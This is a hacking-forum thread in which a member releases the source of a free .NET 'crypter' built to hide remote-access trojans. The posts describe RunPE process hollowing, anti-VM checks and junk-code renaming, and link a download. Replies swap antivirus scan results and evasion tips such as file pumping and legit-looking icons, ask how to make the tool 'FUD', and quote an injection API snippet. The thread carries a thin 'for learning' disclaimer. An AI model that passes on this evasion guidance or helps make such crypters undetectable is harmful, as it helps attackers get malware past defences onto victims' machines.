Thread: [\[FREE\] Lime Crypter | Native + Managed | Long FUD | Source Code](#)

NYANxCAT - October 18, 2018, 7:08 pm

Intro

"plz what is best free crypter" "how can I build a stub builder"....etc

So I'm sharing this source code to help beginners to learn from it and make it fud as their private crypter.

Tested on QuasarRAT(Install ON) - [Scantime](#) - [Runtime](#)

Main PointsCoded in .NET, required framework 4.0 dependency

Adding some simple junk methods and rename all variables

Hide payload behind a legit process using RunPE

Anti Virtual Machines

...You can add more features using the source code

Download

<https://github.com/NYAN-x-CAT/Lime-Crypter/releases>

Notes

I will ignore any PM about "how to reFUD"

The main purpose is to learn from it and NOT to be used maliciously

Stub won't be FUD (public project)

You can use a 3rd-party application to achieve easy FUD (.Net reactor, ConfuserEx ...etc)

Most HF .NET crypters are using the same principle

xHeaven - October 18, 2018, 7:43 pm

Do your runtime scans with internet enabled, that will give a little more accurate results.

Anyways, thanks for your contribution.

ArmDegree - October 19, 2018, 2:37 am

Please don't hate on it. It's a nice start to jump into coding. Copypasting. But it's a good post! Thx.

NYANxCAT - October 19, 2018, 3:40 am

(Oct 18, 2018 07:43 PM)xHeaven Wrote: [\[CITE\]](#) Do your runtime scans with internet enabled, that will give a little more accurate results.

Anyways, thanks for your contribution.

You can rescan it with internet on or scan on VT also. It's just a simple demo for learning.

(Oct 19, 2018 02:37 AM)ArmDegree Wrote: [\[CITE\]](#) Please don't hate on it. It's a nice start to jump into coding. Copying. But it's a good post! Thx.

Lol ? you made my day thanks bro. rep+

bin1410 - October 20, 2018, 2:47 am

vouch for cat :3. He's very friendly and i trust him.

ZERO2SIX - October 20, 2018, 7:51 am

Nice share, vouch for this guy

CustomFirmwhere - October 20, 2018, 6:09 pm

Well, this is not bad at all - prntscr.com/l8hj0m

Thanks for the share.

kaiketchum - October 20, 2018, 9:03 pm

How can I modify it to be FUD?

trololol95 - October 20, 2018, 11:59 pm

(Oct 20, 2018 09:03 PM)kaiketchum Wrote: [\[CITE\]](#) How can I modify it to be FUD?

Change the code. Until you have your private crypter.

correct me if i wrong nyan cat. But you can change the code in visual studio?

Voltaire - October 21, 2018, 12:02 am

Been messing around with lime rat forever. Vouch for these tools!

NYANxCAT - October 21, 2018, 1:36 am

(Oct 20, 2018 11:59 PM)trololol95 Wrote: [\[CITE\]](#) Change the code. Until you have your private crypter.

correct me if i wrong nyan cat. But you can change the code in visual studio?

Yes, you need to install VS to modify the source code. Then you will have your own crypter.

Mr_Ahmed - October 21, 2018, 5:03 am

gooooooooooooooooooooooooooooooooooooo broo very nic

CustomFirmwhere - October 21, 2018, 5:16 am

I get errors regarding 'HuraForm' and such when I try to open Form1 and Form2?

Edit: Nevermind, just had to build it :/

kaiketchum - October 21, 2018, 7:48 am

(Oct 20, 2018 11:59 PM)trololol95 Wrote: [\[CITE\]](#) Change the code. Until you have your private crypter.

correct me if i wrong nyan cat. But you can change the code in visual studio?

Change it to what, which part

trololol95 - October 21, 2018, 8:01 am

(Oct 21, 2018 07:48 AM)kaiketchum Wrote: [\[CITE\]](#) Change it to what, which part

If you can code vs. It should be no problem other wise search tut on internet how you should code

vb

I did not open the code yet so i dont know what part you should change.

correct me if i wrong nyan cat. But you can change the code in visual studio?

Yes, you can modify it with visual studio

Jean-Jacques Rousseau - October 21, 2018, 10:23 am

It was nice of you to release this source, however I really doubt this is even near FUD:

```
Code <DllImport("ntdll.dll", EntryPoint:="NtUnmapViewOfSection"),
SuppressUnmanagedCodeSecurity>
Private Shared Function NtUnmapViewOfSection(
ByVal process As IntPtr,
ByVal baseAddress As Integer) As Integer
End Function
```

<DllImport("kernel32.dll", EntryPoint:="VirtualAllocEx"), SuppressUnmanagedCodeSecurity>
The first thing the code does is to import maliciously used functions, then do some code injection with the functions? This is extremely malicious and will get you detected (even scantime, the IAT is filled with malicious stuff) before you know it.

And this isn't a limitation of just your code quality, it is also a limitation of the language of choice being vb.

yeter12345 - October 21, 2018, 11:39 am

Thank you sir, great tool Vouch

R4A1 - October 21, 2018, 12:57 pm

Vouch, thanks for releasing this I'll try to learn as much as possible off of it.

Transported - October 21, 2018, 3:08 pm

Thanks for the source! I'm going into computer sciences and this is something I've been looking for to mess around with! Thank you very much, I appreciate it!

3DES - October 21, 2018, 9:52 pm

(Oct 21, 2018 10:23 AM)Supercut Wrote: [\[CITE\]](#) It was nice of you to release this source, however I really doubt this is even near FUD:

And this isn't a limitation of just your code quality, it is also a limitation of the language of choice being vb.

And even if you manage to make this shit "FUD" it will never be due unmapping original image. Easy memory detections vouch.

H4Z3 - October 22, 2018, 12:59 am

This dude is a bomb.

+1000000000 real life rep for him.

Kio_88 - October 22, 2018, 2:01 pm

Cool, thanks for sharing ?

borito80 - October 26, 2018, 10:41 am

Thanks bro, good job good job good job

Abbaas - October 30, 2018, 10:37 pm

Thanks for doing this going to have a look on it for later!

Zan0n - November 3, 2018, 3:44 am

Thanks man..been using it and it was awesome!

s??l?s? - November 3, 2018, 4:20 am

Super HQ post, what can we expect from a public and free cryptor?

<https://spyralscanner.net/result.php?id=EvO8bCqh6m>

You Rock bro.

Tilcayo - November 3, 2018, 5:44 am

Vouch for ??` NYAN CAT ?? and his tools, friendly guy that seems to like helping people and ofcourse a high quality member!

qingo00 - November 3, 2018, 10:58 am

(Nov 3, 2018 04:20 AM)s??l?s? Wrote: [\[CITE\]](#) Super HQ post, what can we expect from a public and free cryptor?

<https://spyralscanner.net/result.php?id=EvO8bCqh6m>

You Rock bro.

That are great results. I'm gettig 4/22.

I see that you pumped your file. That is the only extra thing that you make to bypass Eset and Kaspersky?

s??l?s? - November 3, 2018, 3:49 pm

i did nothing,just legit looking icons and assembly ?

qingo00 - November 3, 2018, 4:00 pm

(Nov 3, 2018 03:49 PM)s??l?s? Wrote: [\[CITE\]](#) i did nothing,just legit looking icons and assembly ?

Very nice then!

The last update was 15 days ago, and you have scantime like that on free crypter.

Nyan`s free crypter is beating the majority of the paid trash crypters in HF.

Great work Nyan!

GLWS88 - November 4, 2018, 12:07 am

Nice share. I'm going to dabble with some code . And make this fud

Ren And Stimpy - November 7, 2018, 9:57 am

Thank you for this share. LEarning from this alot!

greyhood - November 8, 2018, 11:56 pm

Sorry for being such a newbie but is there anywhere I can start off to learn how to make this FUD? Or can someone give me a hint on which files and lines of code I have to change? Or a link to a guide on how to?

Thanks.

edenether - November 11, 2018, 11:51 am

It seems very interesting to look into it.

Thats a very nice approach for us to learn how to make our own crypter.

Thank you for this generous content bro !

trololol95 - November 11, 2018, 12:53 pm

(Nov 9, 2018 12:56 AM)greyhood Wrote: [\[CITE\]](#) Sorry for being such a newbie but is there anywhere I can start off to learn how to make this FUD? Or can someone give me a hint on which files and lines of code I have to change? Or a link to a guide on how to?

Thanks.

Learn how to write program and you know what you need to change. I believe it was vb. Not sure about that to lazy to check the pages

l0rf - November 17, 2018, 7:25 pm

Thank you so much for the contribution, what is the best program on mac to start working on editing the source code?

Thanks!

trololol95 - November 18, 2018, 12:34 am

(Nov 17, 2018 08:25 PM)l0rf Wrote: [\[CITE\]](#) Thank you so much for the contribution, what is the best program on mac to start working on editing the source code?

Visual studio

adrainuche - November 29, 2018, 11:11 am

i can i pm the op i want to learn ??

(Oct 21, 2018 01:36 AM)??` NYAN CAT ?? Wrote: [\[CITE\]](#) Yes, you need to install VS to modify the source code. Then you will have your own crypter.

i cant pm you why is that bruv, i would love to pm you

naxster - November 29, 2018, 4:30 pm

NYAN CAT, first of all, thank you very much for this release!! You are the best! :D

Second, is this crypter an updated version of this one:

<https://hackforums.net/showthread.php?tid=5861729>

??

I kinda like the look on the "old" crypter :P :)

EDIT: Just tried to build it, i get this error :(

Code Message 1 Could not find type 'Lime_Crypter_v3.HuraForm'. Please make sure that the assembly that contains this type is referenced. If this type is a part of your development project, make sure that the project has been successfully built using settings for your current platform or Any CPU. 0 0

Thank you for the reply NYAN CAT :)

Well i think i restored everything correctly, but i still get some error... :(

Changing it to System.Text made it worse, i think :/

Does it matter which VB.net we are using? I'm using VB.net Studio 2012. Is your newer?

But after restoring the Nuget Packages, i get these error codes now ? ?

Code Warning 1 Could not resolve this reference. Could not locate the assembly "IconExtractor, Version=1.0.0.0, Culture=neutral, processorArchitecture=MSIL". Check to make sure the assembly exists on disk. If this reference is required by your code, you may get compilation errors. Lime Crypter v3

System.Text.StringBuilder

I will be honest, I don't know why would download this source code if you don't know the difference between System.Text and System.Text.StringBuilder

pk54 - December 2, 2018, 6:52 pm

best software to edit/view this? codeblocks? visual studio? im familiar with vs because i used to use it for c# but i'd still like to hear some peoples opinions.

stupidquestions - December 2, 2018, 7:51 pm

im completely lost. which file contains the code i should be looking at? im a complete 100% noob trying to learn from just jumping into it, but theres like 10 files and im really not sure what im looking for, using visual basic.

username checks out

I can

"Henlo worald"

see I did eht ?

Hackism - December 3, 2018, 4:31 pm

i become super worry when its free. thanks anyway

stupidquestions - December 3, 2018, 6:38 pm

(Dec 3, 2018 02:26 PM)Project Pat Wrote: [\[CITE\]](#) If you are a complete noob, this is not the software to start. Can you hello world?

yes, lol. I took a few c# lessons and understand basics, but in the source code theres .sl .vcxproj and so on and so on and thats where I get lost, like where is the actual code of the crypter? im really not familiar with that part.

like in the .zip inside the main folder theres like a million other things that you can open in vb. how do i open the actual source code? Sorry and thanks.

trololol95 - December 5, 2018, 9:21 am

(Dec 3, 2018 07:38 PM)stupidquestions Wrote: [\[CITE\]](#) yes, lol. I took a few c# lessons and understand basics, but in the source code theres .sl .vcxproj and so on and so on and thats where I get lost, like where is the actual code of the crypter? im really not familiar with that part.

You can open the code in a editor. I believe the crypter is written in visual basic. You can try visual studio for a editor

jeks1 - December 5, 2018, 12:44 pm

injection is not working. Thank you for post.

Astro.x - December 6, 2018, 3:51 pm

So where exactly in the project should we modify code to reFud? There is so many plugins and other files idk where to start really

I renamed tons of functions and strings but it didnt seem to do much, I did get detection on spryscanner down from 10 or 12 out of 22 all the way to 3 out of 22 but now its back to 10 or 12... Any sort of guidance would be amazing

CrystalFlare - December 7, 2018, 11:09 am

Your threads are very helpful i'll defenitely try this out, thank you. But why is this anti Virtual Machine tho?

TrustlessKing22 - December 8, 2018, 4:38 am

inject dont work for me it say fatal error detected

Taustray92 - December 11, 2018, 6:02 am

But you can change the code in visual studio.

emmabee - December 11, 2018, 6:31 am

Nyan Cat's code...brilliant as usual...Many Thanks

naxster - December 13, 2018, 5:10 pm

I give up ?

Am i the only one who can't make it to work?

I always end up with these errors... Is there any solution to this? ?

When i can build the crypter, i will change some codes here and there.

Code Warning 1 Could not resolve this reference. Could not locate the assembly "IconExtractor, Version=1.0.0.0, Culture=neutral, processorArchitecture=MSIL". Check to make sure the assembly exists on disk. If this reference is required by your code, you may get compilation errors. Lime Crypter v3

I already did all those steps. The code above is the new error I get after your steps :(

However I don't have the "Restore NuGet Packages", the closest thing I have is "Enable NuGet Package Restore"

Is there any specific VB.net version or anything I should download to make it work?

NYANxCAT - December 14, 2018, 4:39 am

Ignore warnings, only fix errors

naxster - December 14, 2018, 5:59 am

(Dec 14, 2018 05:39 AM)??` NYAN CAT ?? Wrote: [\[CITE\]](#) Ignore warnings, only fix errors

I have tried, but I don't know what to change in the "Renamer.vb" section, since 3 of the errors is in there. And also the IconExtractor in "Form 2.vb"

Error 8 Type 'AssemblyDefinition' is not defined.

C:\Users\ra\Downloads\Lime-Crypter-3.1\Lime-Crypter-3.1\Lime Crypter v3\Lime Crypter v3\Classes\Renamer.vb 6 27 Lime Crypter v3

Error 9 Type 'AssemblyNameDefinition' is not defined.

C:\Users\ra\Downloads\Lime-Crypter-3.1\Lime-Crypter-3.1\Lime Crypter v3\Lime Crypter v3\Classes\Renamer.vb 9 35 Lime Crypter v3

Error 10 Type 'ModuleDefinition' is not defined.

C:\Users\ra\Downloads\Lime-Crypter-3.1\Lime-Crypter-3.1\Lime Crypter v3\Lime Crypter v3\Classes\Renamer.vb 10 32 Lime Crypter v3

Error 13 'IconExtractor' is not declared. It may be inaccessible due to its protection level.

C:\Users\ra\Downloads\Lime-Crypter-3.1\Lime-Crypter-3.1\Lime Crypter v3\Lime Crypter v3\Form2.vb 274 17 Lime Crypter v3

I can't figure out what to do with these 4 errors... I want to change them to something, to fix the problems, but I just don't know into what :(

InvPhantom - December 17, 2018, 7:52 am

Looking good !

will try it

Thanks

ANT. - December 17, 2018, 7:54 am

Nice share for anyone learning to build crypters/.net tools

thank you friend

urkcoder - January 19, 2019, 12:56 pm

The link disconnects in the downloading of the file briefly recognizes the virus crypter should not recognize what you say but you are doing a really nice program thanks.

Ancient Rat © - January 20, 2019, 6:57 am

A lot of respect for you nyan cat for the share this will help new people.

Br3aKf0rM - April 22, 2019, 5:46 pm

Hey dude, you archived this and it won't build in visual studio. Can you send me the link to a compiled version please?

NYANxCAT - April 23, 2019, 12:24 pm

Five5s - May 17, 2019, 3:04 pm

Nice release, many can learn from this!!!!

LordDragon - May 17, 2019, 4:26 pm

Thanks so much for this share OP,you are a blessing to humanity.

SIM-3132187 - May 18, 2019, 8:15 am

This crypter is probably not fud at scantime and for sure not fud at runtime so yes it's outdated. But the main purpose of this project it's to show you how work a builder and how it can make change on the stub. I think this source is pretty easy to understand. I would recommend it to someone who want start to learn crypter, but not to copy past it and sell it (Hello some crypters ?).

Mr. Corleone - May 18, 2019, 8:29 am

Knowledge is power, it's especially evident in hackers with programming knowledge.

If they fail to increase their knowledge and chase whatever is served for them on hackforums, leave them be.

naxster - June 7, 2019, 3:33 pm

As long as we can reFUD it I'm good! :D

There isn't many in this forum that actually release a source code like this, so thank you very much Nyan!

I'm going to try tomorrow and see if it's possible to reFUD it :)

Nassief2018 - August 2, 2019, 4:38 am

(Oct 18, 2018 07:08 PM)??` NYAN CAT ?´? Wrote: [\[CITE\]](#)

Intro

"plz what is best free crypter" "how can I build a stub builder"....etc

So I'm sharing this source code to help beginners to learn from it and make it fud as their private crypter.

Tested on QuasarRAT(Install ON) - [Scantime](#) - [Runtime](#)

Main PointsCoded in .NET, required framework 4.0 dependency

Adding some simple junk methods and rename all variables

Hide payload behind a legit process using RunPE

Anti Virtual Machines

...You can add more features using the source code

Download

<https://github.com/NYAN-x-CAT/Lime-Crypter/releases>

Notes

I will ignore any PM about "how to reFUD"

The main purpose is to learn from it and NOT to be used maliciously

Stub won't be FUD (public project)

You can use a 3rd-party application to achieve easy FUD (.Net reactor, ConfuserEx ...etc)

Most HF .NET crypters are using the same principle

pls i need this crypter i mean paid one not free mate

juzioo09524 - August 7, 2019, 1:39 pm

very good crypter, you are same good

JustCozz - August 7, 2019, 10:57 pm

(Aug 2, 2019 04:38 AM)Nassief2018 Wrote: [\[CITE\]](#) pls i need this crypter i mean paid one not free mate

Lolol, If you would take time to read and stop trying to just go through everything with ease and not knowledge you will amount to a very bad "haxor", this is meant for you to download and actually attempt to do something on your own.

Estanoza - August 11, 2019, 8:24 pm
